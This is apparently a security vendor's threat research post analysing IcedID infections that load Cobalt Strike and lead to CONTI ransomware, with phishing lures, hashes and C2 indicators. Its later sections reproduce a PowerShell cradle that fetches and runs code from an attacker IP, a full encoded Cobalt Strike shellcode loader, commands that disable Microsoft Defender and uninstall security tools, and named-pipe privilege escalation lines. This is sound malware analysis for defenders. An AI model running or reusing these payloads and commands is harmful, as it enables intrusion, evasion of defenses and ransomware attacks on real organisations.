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By Max Malyutin – Sr. Threat Researcher


Cynet’s research and CyOps teams constantly work together to track the malicious activities of threat groups. Advanced threat groups that target organizations for financial gain frequently modify their TTPs and alter their malware to evade defenses. In this article, we detail how two different threat groups – Lunar Spider and Wizard Spider – have joined forces to infect organizations with CONTI ransomware.

IcedID, a Trojan banker developed by threat group Lunar Spider, is primarily used to steal and exfiltrate financial information. This Trojan is now being used as a downloader to distribute Conti Ransomware, developed by Wizard Spider, to compromised organizations.

In other words, two different independent malwares, developed by two different attack groups – are collaborating to download, spread and infect compromised organizations with ransomware.

During the last few months, Cynet 360 detected a high number of IcedID infections utilizing Cobalt Strike beacons and ultimately attempting to encrypt hosts using CONTI ransomware. If you suspect that your company’s devices are infected with IOC or TTPs relevant to this article, please reach out directly to Cynet for help with evaluating an incident response. Cynet’s MDR team, CyOps, is available 24×7 and ready to help you begin threat hunting.

IcedID overview

IcedID (A.K.A BokBot); IcedID – ID: S0483 was first observed in the wild in September 2017 and was classified as a banking trojan malware designed to target financial sectors in the U.S and Europe. The malware allows threat actors to steal financial information, banking credentials, and payment information using web injection and browser hooking techniques.

From 2017 to 2021, the threat group behind IcedID used multiple attack techniques and upgraded the range of malicious capabilities to evade detection and deploy massive attack campaigns. The IcedID Threat group shifted the malware’s modus operandi, remaking it from a banking trojan and into an application capable of distributing additional sophisticated threat tools like Cobalt Strike and ransomware like MAZE, EGREGOR, Sodinokibi, and CONTI.

With this change, IcedID became part of the Malware-as-a-Service (MaaS) organized cybercrime.

IcedID modus operandi:

  • Spear phishing attachment distribution via malspam campaigns (zipped, weaponized Microsoft office documents)
  • User execution via enabling macros
  • DLL download from C2 server
  • Loader DLL execution via rundll32regsvr32; LOLbins (Living Off the Land Binaries)
  • Fingerprinting andenumeration of the compromised machine
  • C2 server connection, send initial information
  • Initial access for sophisticated threats (downloader activity)

Graphical user interface Description automatically generated

IcedID’s popularity has increased significantly, even surpassing the infamous Emotet (see Once upon a time in Troy – Emotet malware, a trojan evolution), which is often described as “the world’s most dangerous malware.” Emotet was taken down at the end of January 2021 by a major law enforcement operation coordinated between multiple authorities including Europol, the FBI, and the UK’s National Crime Agency, along with agencies from Canada, France, Germany, Lithuania, the Netherlands, and Ukraine.

IcedID associated threat groups

GOLD CABIN aka: Shakthak, TA551


The TA551 and LUNAR SPIDER threat groups are classified as eCrime groups with a primary motivation of targeting financial organizations. These eCrime groups are associated with various malware, including IcedID, Qakbot, Ursnif, and Valak. The unique pattern of these groups lies within their kill chain method, comprised of weaponized Office documents (Excel and Word) which are usually contained in a password-protected zipped file and distributed throughout a malspam campaigns via email. Once these weaponized documents are opened, additional malware is either downloaded to the host – in most cases in the form of DLL payloads executed via Microsoft legitimate binaries (LOLBins).

CONTI Overview

CONTI (MITRE ID: S0575) is a new ransomware observed in the wild starting in late 2020 and has become a major target for the FBI. On May 20, 2021, the FBI released an article discussing the impact of CONTI ransomware on healthcare, law enforcement agencies, and emergency medical services in the US.

The CONTI group operates as Ransomware-as-a-Service (RaaS) affiliated with WIZARD SPIDER threat group. Cynet has recently observed CONTI targeting organizations in the US and Europe. The NCSC (National Cyber Security Centre) has recently participated in recent CONTI infection investigations on account of recent news of CONTI wreaking havoc in among different victims:

“Exagrid pays $2.6m to Conti ransomware attackers”

“Conti Ransomware Hack: FBI Says 16 U.S. Networks Have Been Hacked This Year”

“Conti ransomware syndicate behind attack on Irish health service”.

Cynet to the rescue

Cynet recently responded to a number of incidents in several companies asking for Cynet assistance where IcedID infection eventually impacted the compromised network with CONTI ransomware and where CONTI encryption note was presented on all computers.

During the root-cause analysis of the impacted networks, we have concluded that the initial access vector in all these ransomware incidents was a malspam campaign delivering malicious email containing a zipped file, followed by a weaponized Office document downloading the IcedID malware. The IcedID malware, in turn, launched a Cobalt Strike beacon on the compromised machine which in turn executed discovery commands on the domain while abusing Windows legitimate binaries.
The next steps of the infection included privilege escalation and lateral movement activities.
Once the attackers established persistence on the domain, a CONTI ransomware variant was dropped.

This is further evidence that the LUNAR SPIDER and WIZARD SPIDER groups are breaking bread – it is clear evidence that they have coordinated the distribution of each other’s malware.


A screenshot of a computer Description automatically generated with medium confidence

Technical analysis

Entry point

The infection chain of IcedID begins through an email vector (TA551 A.K.A Shathak is a malspam distribution campaign), by using spear phishing emails.
In the past few months, we have observed that the phishing emails distributed are utilizing social engineering methods to lure victims to interact and open the content of the malicious mails.

Graphical user interface, text, application, email Description automatically generated

These emails are sent as part of phishing campaigns and contain malicious Microsoft documents (weaponized Office files) or a password protected .zip file. This file contains either an MS Word document or Excel spreadsheet which leads to execution of multi-stage malicious actions.

Below, you can see an example demonstrating how the weaponized document execution looks like:

Grandparent Process:
c:program files (x86)microsoft officerootoffice16outlook.exe
Parent Process Details:
“C:Program Files7-Zip7zFM.exe” “C:Users*AppDataLocalMicrosoftWindowsINetCacheContent.Outlook82QPK64Drequest (002).zip”
Process Details:
“C:Program Files (x86)Microsoft OfficeRootOffice16WINWORD.EXE” /n “C:Users*AppDataLocalTemp7zO77B8.tmpfatti-03.21.doc” /o “”

In this case, the .zip file contains a weaponized Microsoft Office document. The document asks the user to click on the “Enable Content” feature, thus allowing the document to execute code stored as a macro. Demonstrated in the screenshot below:

Graphical user interface, application, Word Description automatically generated

MD5: e51d7a4db66d3ea986343fe3e221b7fc

SHA-256: f578d6e7fc4d204ef17549be7ea8f3b6bca4b4103e7afff483b180f95f818a20

File type: Office Open XML Document

Magic: Zip archive data, at least v2.0 to extract

Alternatively, the zip file may contain a spreadsheet document. As in the case of the Word document, the spreadsheet file also asks the user to click on the “Enable Content” to execute the malicious macro, as can be seen in the following screenshot:

Graphical user interface, application, table Description automatically generated

MD5: d15d140f0d5d88542d059ecd483dee38

SHA-256: db66539408a53e25bf005990c1b868ef140303d2ccfa6964b63b26b6bfc1b07b

File type: Office Open XML Spreadsheet

Magic: Zip archive data, at least v2.0 to extract

In both cases of malicious attachments, the unique aspect of these documents, either Word document or spreadsheet document, is that both present a specific template to lure the user to allow “Enable Content” and “Enable Editing”.

From this point, we’ll show the investigation steps for the spreadsheet document, although the execution flow for the Word document is the same.

Once “Enable Content” is clicked, three instances of rundll32.exe are spawned:

Additionally, the Excel file communicates with three different C2 (Command & Control) servers to download an IcedID DLL file. The communication achieved by the malicious macros is stored in the weaponized Office document:

These C2 servers are:




Inspecting the GET packet to these C2 servers can be seen in the following image:

The weaponized Office documents have a highly obfuscated VBA/XLM code and AutoOpen/AutoClose functions for its execution.
IcedID Excel spreadsheet documents use Excel 4.0 (XLM) macros which leading to download and execution of the IcedID DLL payloads.

A screenshot of a computer Description automatically generated with medium confidence

IcedID threat actors are utilizing defense evasion and anti-analysis techniques to hide their malicious macros, to evade security vendors, and to make the analysis of the malicious document complex.
Excel supports Macros 4.0 formulas by using formulas in spreadsheet cells. This type of macros allow the threat actors to bypass the detections which including the Microsoft AMSI provider.

Microsoft published on March 3, 2021, an update “New runtime defense against Excel 4.0 macro malware” which provided details regarding the Antimalware Scan Interface (AMSI) integrated with Office 365 which includes the runtime scanning of Excel 4.0.
From our observations, most of the infections were performed on older versions of Microsoft Office.

Bottom line – Many users are still using older versions of MS-Office and are vulnerable and exposed to attacks which utilize Excel with Macro 4.0, Up until Microsoft’s March update, attackers were able to attack O365 users since the AMSI provider couldn’t identify and detect these malicious Macros formulas.

These techniques include:

  • Hiding sheets in the document
  • Hiding Excel 4.0 macros in different sheets
  • Hiding the macro formula by applying a white font color

The following image shows hidden malicious sheets:

Graphical user interface, application Description automatically generated

On further examination of the hidden malicious sheets (OSN), we have observed that the macros color settings were set to white, allowing IcedID to hide the macros formulas in the document.

In the Pervi sheet, we have observed the C2 server communication method to the three C2 IPs which were mentioned previously in the article. The threat actors use the URLDownloadToFile API to connect the C2 servers which download the 3 files (DLLs) to the disk.

sobr1 sheet is responsible for the execution of the downloaded DLL files via a rundll32.exe command line parameter that uses DllRegisterServer function.

The macro code eventually downloads three DLLs, masquerading themselves with a random extension, and executes each one using rundll32.exe.

First stage DLLs act as initial collectors and send the information to the C2 server to start the installation of the next attack phase.

The command line for loading these DLLs is as follows:

“rundll32 ..[Dll Name].[Random Extension],DllRegisterServer”

In other cases (not detailed in this article), we also detected DLL execution via the regsvr32.exe binary.

regsvr32 execution example:
“C:WindowsSystem32regsvr32.exe” c:userspublicglobalStorage.jpg

Between April 6th and May 26th, Cynet detected the following IcedID campaigns, with different DLLs extensions:

rundll32 command execution that detected by Cynet 360:
May 26 2021 rundll32 ..Hikos.hertolo1,DllRegisterServer

May 26 2021 rundll32 ..Hikos.hertolo,DllRegisterServer

May 25 2021 rundll32 ..iroto.tio1,DllRegisterServer

May 25 2021 rundll32 ..iroto.tio,DllRegisterServer

May 24 2021 rundll32 ..Hikos.hertolo2,DllRegisterServer

May 24 2021 rundll32 ..svvhos.dati4,DllRegisterServer

May 20 2021 rundll32 ..durio.fur,DllRegisterServer

May 17 2021 rundll32 ..bubl.cmi1,DllRegisterServer

May 17 2021 rundll32 ..bubl.cmi,DllRegisterServer

May 13 2021 rundll32 ..lertio.cersw,DllRegisterServer

May 13 2021 rundll32 ..tuti.rut,DllRegisterServer

May 13 2021 rundll32 ..tuti.rut1,DllRegisterServe

May 13 2021 rundll32 ..dtfhdtr.ert,DllRegisterServer

May 13 2021 rundll32 ..wiroe.oer5,DllRegisterServer

May 13 2021 rundll32 ..wiroe.oer4,DllRegisterServer

May 13 2021 rundll32 ..wiroe.oer2,DllRegisterServer

May 13 2021 rundll32 ..wiroe.oer3,DllRegisterServer

May 13 2021 rundll32 ..wiroe.oer1,DllRegisterServer

May 13 2021 rundll32 ..nvcoerf.vlb4,DllRegisterServer

May 13 2021 rundll32 ..nvcoerf.vlb,DllRegisterServer

May 13 2021 rundll32 ..nvcoerf.vlb1,DllRegisterServer

May 13 2021 rundll32 ..nvcoerf.vlb3,DllRegisterServer

May 13 2021 rundll32 ..nvcoerf.vlb2,DllRegisterServer

May 11 2021 rundll32 ..ikjcvesdv.ref,DllRegisterServer

May 5 2021 rundll32 ..svvhos.dati3,DllRegisterServer

May 5 2021 rundll32 ..svvhos.dati2,DllRegisterServer

May 5 2021 rundll32 ..svvhos.dati1,DllRegisterServer

May 5 2021 rundll32 ..svvhos.dati,DllRegisterServer

May 20 2021 rundll32 ..Hikos.hertolo,DllRegisterServer

Apr 28 2021 rundll32 ..Butyo.vikas,DllRegisterServer

Apr 26 2021 rundll32 ..jjoputi.vvt1,DllRegisterServer

Apr 26 2021 rundll32 ..jjoputi.vvt2,DllRegisterServer

Apr 23 2021 rundll32 ..duron.bnm1,DllRegisterServer

Apr 21 2021 rundll32 ..ghnrope.ito1,DllRegisterServer

Apr 20 2021 rundll32 ..Klos.viters1,DllRegisterServer

Apr 20 2021 rundll32 ..Klos.viters,DllRegisterServer

Apr 20 2021 rundll32 ..Klos.viters2,DllRegisterServer

Apr 13 2021 rundll32 ..Hodas.vyur2,DllRegisterServer

Apr 13 2021 rundll32 ..Hodas.vyur1,DllRegisterServer

Apr 13 2021 rundll32 ..Hodas.vyur,DllRegisterServer

Apr 6 2021 Rundll32 ..Kiod.hod1,DllRegisterServer

Apr 6 2021 Rundll32 ..Kiod.hod2,DllRegisterServer

Apr 6 2021 Rundll32 ..Kiod.hod,DllRegisterServer

For this article, we have analyzed a DLL file that acts as the installer.

IcedID sample analysis

MD5: 4474dd4c14f76b6b40f855b9aae628fa

SHA-256: 93e5fc51525d584a80db2505638f0f9237bff8d01adc330049a414b45c7a811c

Imphash: 78ed290a779aa51d4473678936319a48

SSDEEP: 768:GGS/PPJ69K2c5r8OsDBZpAYqRHAZorOs1gxuqkB1chYsNbp6SGu4nQvxVH2oOB4:yPRESOn+YC1ZB1chYsNl6SWn+Lc4

File type: Win32 DLL

Magic: PE32+ executable for MS Windows (DLL) (GUI) Mono/.Net assembly

Entropy: 7.302




By setting breakpoints on VirtualAlloc, we unpacked the IcedID payload. An allocated memory section was created with zero bytes and the unpacked payload is written in this section.

The below section is responsible for the unpacking routine:

A picture containing table Description automatically generated

The memory page of the unpacked IcedID has ERW privileges (Execute, Read, Write, protection rights).

The unpacked IcedID file contains various HTTP APIs.

Using IDA, we can see that the unpacked IcedID payload uses an HTTP APIs to retrieve a connection with the C2 server in the code:

Graphical user interface, text, application Description automatically generated

The IceID loader retrieves information on the compromised host by performing initial enumeration and fingerprinting. It then sends the information to the C2 server via the HTTP APIs mentioned above.
The information includes the OS version, username, computer name and physical address. The information is sent in an encoded cookie to the C2 server.

The packet inspection of the HTTP cookie sent to the C2 server:

Graphical user interface, text Description automatically generated

Examining the packet also reveals a DNS name for the C2: dsedertyhuiokle[.]top.

A picture containing graphical user interface Description automatically generated

Example of cookie names and order:


_gat= OS version

_ga= CPU

_u= Computer name and the username

__io= User SID

_gid= MAC

Hunting tip: external socket with the above data could be an indicator of IcedID activity.

The CPU ID check, performed by using the cpuid instruction which allows to query the processor information and the CPU type. This information stored in _ga:

Graphical user interface Description automatically generated

The OS version check performed by using the RtlGetVersion function which holds the OS version information. This information is stored in _gat:

The user SID check, performed by using the LookupAccountNameW function which holds the name of a system, an account, and the security identifier (SID). This information stored in _io:

Graphical user interface, text, application Description automatically generated

Username and Computer name check, performed by using the GetUserNameA and GetComputerNameA functions which retrieve the username and the NetBIOS name. This information stored in _U:

Graphical user interface, text, application Description automatically generated

Adapter Info check, performed by using the GetAdaptersInfo function which retrieves adapter information that is stored in _gid:

A picture containing text, screenshot, electronics Description automatically generated

Cobalt Strike

After the execution of the first stage loader, the C2 server responds with a fake GZIP payload which is an encrypted IcedID payload. This encrypted payload is downloaded as license.dat which is a core module of IcedID. Next, license.dat is executed via rundll32.exe:rundll32.exe “C:Users*AppDataLocalQiikcuucuyAgmupn.dll”,update /i:”BarelyHedgehoglicense.dat”

Following the execution of license.dat, the next step uses process Injection, which enables IcedID to evade defenses by migrating from cmd.exe to rundll32.exe. This specific process injection technique is indicative of Cobalt Strike, eventually allowing the threat actor to gain full remote control over the compromised machine.

Parent Process Details:
rundll32.exe “C:Users*AppDataLocalQiikcuucuyAgmupn.dll”,update /i:”BarelyHedgehoglicense.dat”
Process Details:
Target (injected) Process:
The injected data:
MZARUHx89xe5Hx81xec x00x00x00Hx8dx1dxeaxffxffxffHx81xc3xcctx00x00xffxd3Hx89xc3Ix89xf8hx04x00x00x00Zxffxd0Axb8xf0xb5xa2Vhx05x00x00x00Zxffxd3x00xe8x00x00x00x0ex1fxbax0ex00xb4txcd!xb8x01Lxcd!This program…
Injection page info:
State=MEM_COMMIT, Type=MEM_MAPPED, AllocationProtect=PAGE_EXECUTE_READWRITE, RegionSize=135168

Cobalt Strike then downloads two additional payloads:


File SHA256: 48385CB94B871E3BF46BD1ABFACF1CD69155A0161D2D200ECEBD333A7FF137E8


File SHA256: 668FCD27F21503184B9E6E10EDB9C9E5C6BA1484EBC60A33A7E6104CA4857561

These two executables also serve as Cobalt Strike beacons.

Additionally, we have also detected Cobalt Strike injecting code to these processes: c:windowssystem32svchost.exe




We have also observed, that these injected processes do not have command line parameters, which is a great indicator for detection. For example, mstsc.exe or svchost.exe without command line parameters is very uncommon and does not make any sense for these processes.

Cobalt Strike also utilizes PowerShell execution to perform a fileless shellcode injection.

The initial PowerShell command:
powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://23[.]108[.]57[.]148:80/a443’))”

The next stage PowerShell script is stored behind the Cobalt Strike C2 server.
The PowerShell script is encoded in Base64 format.

powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgA……

The decoded base64 command:

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(“H4sIAAAAAAAAAK1Xa3Oiyhb9HH8FH1KlVoxBUWPm1FQNCCgoRMB3TirFo1W0eQiNSs7Mfz8b1JzMmeTeqbo3VVaaZr967bV3bwxEbg0SuTZRAgdRtxMUxW7gU/VC4ZoPJEJ9pb4VC8vEt0m2nS1eVoi8hFFgv5iOE6E4pv4qXA3NyPSo0vXejF68wEkwqlD5QyaInCRC5aurwlW+lfixuUQvvkncPXrxEFkHTgyOSk9sGPKBZ7r+85cvnSSKkE9Oz9UuImwcI8/CLopLZeo7NV2jCN0+WhtkE+ov6vql2sWBZeKzWNox7TUciPWd7N0gsM3sBFUjxC4pFf/8s1h+uq09V4VdYuK4VDTSmCCv6mBcLFM/ypnDURqiUlFx7SiIgyWpTl2fqVfHefRqHrxyir1YPp9sFZpwjs8PmVk96ZSKsBwCNuwJw2KFesr8PT0/U9/eotETn7geqko+QVEQGijauzaKqz3TdzDS0RLUijGkz18VyxBEhEgS+dQlFtDbB1tUuvYTjCtg9+l37T6XVHS4gPu7SqX3SiA1JFG5cubE78Ch5Lw5mYPj/BL9O3KV4e8XgpULPwofUNVBGK1Mgl4I4PuOq4Wrq6d8ieA8pWEQu7neV4quUAoEYZIgSrN0jqIElZ//yc/J7UUzrnxqqHbROuuc0nOK4yv1NAlc57lwVS6c2ZPtv1iJix0UZe8/rwYeLV0f8alveq59IXzpo5yhJUY5HtWLmApxlornF8jhz+gUM0CfflUTPJe86XKn4Fgb8h5DVECJ8s/BnHJYKkq+gjzA7/QMNL1eQpmhi/S5tNKL9+w543IHm3FcoYYJ1LldoQxkYuRUKNaP3fMrNiFBviz+E66SYOLaZkwu5p7LH0B6dt0JfKiYxIbsAgwjI0S2a+IMlQrVcx3EpYa7uoRQ/BCTjokxlBxY2kNOYCfDwiAZZyKn8m9+lKsGIpIXYuSBdN6FRGyuoOecKyqnm7lCTvE/hH2pk1NRZFhdQHoXNBDAwAGpUBM3ItDXipVfiPe/hfdzi/kpzE6Ezoks5YX4xKUkK5dc0s4ul69vWObIRQRQE6PA48wYtRpG3sZKRaad7KRU2WitqCvsxd6uJ4zgt4cfsxOFwUDWQ04f2ELyOOzR8lLS2nwjOSRSMuJoRqRB7nXXFZbS/jGY1xKvUXNCaa/CXny/68W8tOfZXn0XiK2V+3C2c9LXrEPNmknivdUVG71JLGbyPWnPibvOQwDrO2nfCWTQa7dCnzs4DSTILTQb2AeGtJG5Oqb9yY1B17qTVB1MhFA1fGdg1TRRVl/rAjnSTk+nHSFeOJOdwAytfgjnlJiV0fLl1DC41N4mc8lVNnZPHTj9XbvpvNZTUW0ADkcjVdbzlnO0Z+LBnqmDtDdXu2B3l0xXjZ5iMGDbcI4HZxw/yiMyZ4am10hTv9GRNtJxYIdkMpNbkZl2woGLLG5JMl15sFjJDwI5xWcYeuqAbdwb8X2w7XcUBXJhNkU0Bpl+7IKtdrTLYkxbG5tRD8pYdHQNK4qhNXs6njwaW1o1JuxmfrhbyMhfd1YhLzFNFM9trs9O7bmsGOhmRUQ0PDY92p8uFHMz2lh1ZsClW2axpH2se61wZ20XadTTosSX28ydKtUJ+LIXLM0pOj0HH/JUx6LJjzll5DbCuXBUR+MFO6FDZaRveU14UMbCPOlPZVYTFqPJcct3tIM8cLGrCVx3XLMfF9saOxKc/misgV19YWBlyNKiDjL1sbDQeU8W9G1t1tXUZCTi/oh+6PDcXBUOysCB/Or0cTxmVeIclCmvS3OW0WOHG886K9Ud19Sh7utdbbruTw6HqcBpqsCN+U59HTn15p4/qENju+6ydZAR1grorIyaqIy2c0Vcs+CD1rtHVud1jbcFWdSw2AffmsjSmmg0QqnVGq8s3bpfqKLlbl9nNP+qjzlz4qNknzijaaBrzYm7aSwjvr9ubtuGs/ZrtO019sJO9jeOcVdfTBWZVl7vN+oGtcfSwlH3Ux6Fc2+vmvL2cHSXd4Md3rBi6+H+pqYqD+aUV22veYNny26jPbFcdUA3Tc4BnhpTdSC9Ap/peCPVlY0jkPs1w3eBhwcP+AI8cm98+bCLgaepwkupmnH1SMyIy7laW+JdR3MbfWsziRf3DSXpM+TVFnTAYq1YvD4fA8azbqo+8JMEZ91oGUQwXxyzO/sPCv7fYkK99RvoMtDAsv2bm3J277+9ebo+Pl/mtLfnW+sI1phm1rvyN3vzXcf6bPhRzChemxg6GQwwl+tHDCLxPIYMAzfTKJU+npy3KPIRhqkS5s5L02YxDuxscPpkgoEx7jRcPcPlNIYlU/9wVabeBGFaOp3JSpbLfLg4n/AyY10Ev3xZwPEq70AcIH9F1hWKPjI0TWf/G3S58PuwdIIwLb2Zq2TD1btI3nvCuafyGX0oew/9HxPwk9P/Dm0GXj6fvUGXB/QxXuVC8VuhIC2pd/ux+wpfH2hHtXPuxUBzcrsJLPhUye/e0rVZpiRhRl2b1A/qFo7HxkwdvleiVZJdxNTp8+s7dTDdk+J3Skc2gvH5Vg4sYCmCeSoznRvJhGHvb1Pu4TfPDQAA”));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

The above script is base64-encoded and is also compressed with a GzipStream. By decoding the base64 format and decompressing the GzipStream with Gunzip, we observed the final stage of the PowerShell script.

Set-StrictMode -Version 2

$DoIt = @’

function func_get_proc_address {

Param ($var_module, $var_procedure)

$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(‘\’)[-1].Equals(‘System.dll’) }).GetType(‘Microsoft.Win32.UnsafeNativeMethods’)

$var_gpa = $var_unsafe_native_methods.GetMethod(‘GetProcAddress’, [Type[]] @(‘System.Runtime.InteropServices.HandleRef’, ‘string’))

return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod(‘GetModuleHandle’)).Invoke($null, @($var_module)))), $var_procedure))


function func_get_delegate_type {

Param (

[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,

[Parameter(Position = 1)] [Type] $var_return_type = [Void]


$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(‘ReflectedDelegate’)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(‘InMemoryModule’, $false).DefineType(‘MyDelegateType’, ‘Class, Public, Sealed, AnsiClass, AutoClass’, [System.MulticastDelegate])

$var_type_builder.DefineConstructor(‘RTSpecialName, HideBySig, Public’, [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags(‘Runtime, Managed’)

$var_type_builder.DefineMethod(‘Invoke’, ‘Public, HideBySig, NewSlot, Virtual’, $var_return_type, $var_parameters).SetImplementationFlags(‘Runtime, Managed’)

return $var_type_builder.CreateType()


[Byte[]]$var_code = [System.Convert]::FromBase64String(’38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSByckuYIiMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMUFdRQlMMSQ5HRlVOSk0NSVAjYw/ZJenhCgpDI35esYcBKAWcYJMSe+gtFePx5m0nWZMajTjb23LByk3Zf0nlRm6pqbkZyrHQrunJ83/NI2tMUFcZA0BMR0YNSVJWRlFaDUBMTi4pYExNTUZAV0pMTRkDQE9MUEYuKWJAQEZTVxkDCQwJLiliQEBGU1cOZk1ATEdKTUQZA0RZSlMPA0FRLil2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLdEpNR0xUUANtdwMWDRIYA3RsdBUXCgNiU1NPRnRGQWhKVwwWEBQNEBUDC2hrd25vDwNPSkhGA2RGQEhMCgNgS1FMTkYMFhANEw0RGxARDRQDcEJFQlFKDBYQFA0QFS4pI66UgbRb7ZNFbikzX0DzRUBaVneuvudTWoRQ5Vij4frDKh5k8Sdhn10cm4vEqJnjdS/2ZWMJ0Mz7jNje8UIZdNvWDepYmvNaJkwxif/LqljAF697+1NM9aWDNcm5+lXfG48VbiNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcERANEhMbDRYUDRIXGyN9DVul’)

for ($x = 0; $x -lt $var_code.Count; $x++) {

$var_code[$x] = $var_code[$x] -bxor 35


$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))

$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))



If ([IntPtr]::size -eq 8) {

start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job


else {



The purpose of the function “func_get_proc_address” is to use a .Net API to call Windows API function in memory from system.dll and import GetModuleHandle and GetProcAddress, which is later used to call the VirtualAlloc function.

The [Byte[]]$var_code contains a base64 format string, which is the shellcode decrypted with xor using a key of 35.

for ($x = 0; $x -lt $var_code.Count; $x++) {

$var_code[$x] = $var_code[$x] -bxor 35


The shellcode is injected in the allocated space (VirtualAlloc allocated the space in the memory for the shellcode).
Finally, the shellcode is executed in the allocated space inside the memory.

The injection is actually a self-injection, meaning the PowerShell instance that executed the command is injected and contains the shellcode.

The decrypted shellcode:

üè.`.å1Òd.R0.R..R..r(.·J&1ÿ1À¬<a|., ÁÏ

.ÇâðRW.R..B<.Ð[email protected]ÀtJ.ÐP.H..X .Óã<I.4..Ö1ÿ1À¬ÁÏ

.Ç8àuô.}ø;}$uâX.X$.Óf..K.X..Ó….Ð.D$$[[aYZQÿàX_Z..ë.]hnethwiniThLw&.ÿÕ1ÿWWWWWh:Vy§ÿÕé.[1ÉQQj.QQh».SPhW..ÆÿÕëp[1Ò[email protected]ëU.;ÿÕ.Æ.ÃP1ÿWWjÿSVh-..{ÿÕ.À..Ã.1ÿ.öt..ùë hªÅâ]ÿÕ.ÁhE!^1ÿÕ1ÿWj.QVPh·Wà.ÿÕ¿/9Çt·1ÿé..éÉ.è.ÿÿÿ/strap/[email protected],ú.ÊÂ))`]}.¤”.&¿C°1XË.6ÀÒÅN.z°9®.øøQâénújÆeM…:é.ó.ÊêÐîHost:

Connection: close

Accept: */*

Accept-Encoding: gzip, br

User-Agent: Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2832.7 Safari/537.36


.|cÐfcyuT..Äpy§sÆ{.ÂÙà =GÒ.B¼~?¸¨ç.ºÀV.Õ[email protected]*óïدûýÒa:Wøõ.É{¹Ðy.o.ªÜè.{ã4.XØpoÖ. .ê.Ùvü8¬6Mhðµ¢VÿÕ[email protected]@WhX¤SåÿÕ.¹.ÙQS.çWh SVh…âÿÕ.ÀtÆ…Ã.ÀuåXÃè©ýÿÿ23.108.57.148^.x.

Accept: */*

Accept-Encoding: gzip, br

User-Agent: Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2832.7 Safari/537.36

Cobalt Strike C2 server:

After execution of the fileless injection with PowerShell, the threat actor performed an additional injection to a remote process utilizing a Reflective DLL injection technique to an existing svchost.

This technique allows injecting a .DLL for the malicious process into the memory of a remote process, which allows threat actors to avoid EDR and traditional AV solutions detection as it is not storing a DLL file on disk and not calling Windows APIs LoadLibrary and LoadLibrary (classic DLL injection).


Target process:
C:WINDOWSSystem32svchost.exe -k UnistackSvcGroup

The injected svchost executes a PowerShell command, which performs a discovery operation.


Decoded command:

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | Select -property Name,IPAddress,OSVersion


IcedID preforms several discovery commands that are used by the Cobalt Strike session:

ipconfig /displaydns

ipconfig /all

nltest /domain_trusts

nltest /domain_trusts /all_trusts


net view /all /domain

wmic product get name,version

The above discovery command (wmic product get name,version) is used to list the installed application on the host and understand which security applications they are dealing with.

The following command prints the installation package.

wmic product where “Name like ‘%Security Application%'” get Name, IdentifyingNumber

Impair Defenses

After the discovery of the security applications installed, an attempt is made to uninstall the security application via the msiexec command:

msiexec.exe /x {[ security application package]} /qn

msiexec.exe /x {[ security application package]} /qn PASSWORD=[password]

Additionally, a “T1562.001: Impair Defenses: Disable or Modify Tools” – technique is used to disable Microsoft Defender:

powershell New-ItemProperty -Path HKLM:SOFTWAREPoliciesMicrosoftWindows Defender -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force

powershell Uninstall-WindowsFeature -Name Windows-Defender

powershell Set-MpPreference -DisableRealtimeMonitoring $true

powershell Uninstall-WindowsFeature -Name Windows-Defender

We have also observed attempts to perform privilege escalation using GetSystem named pipes impersonation to gain SYSTEM level privileges.

C:Windowssystem32cmd.exe /c echo fbe08e37b62 > \.pipeab59fc

C:Windowssystem32cmd.exe /c echo 99269f2c2e0 > \.pipe4bba0e

C:Windowssystem32cmd.exe /c echo fe08a9c446f > \.pipe254573

C:Windowssystem32cmd.exe /c echo 849b1389e6a > \.pipee215fc

C:Windowssystem32cmd.exe /c echo [Random 11 characters] > \.pipe[Random 6 characters]

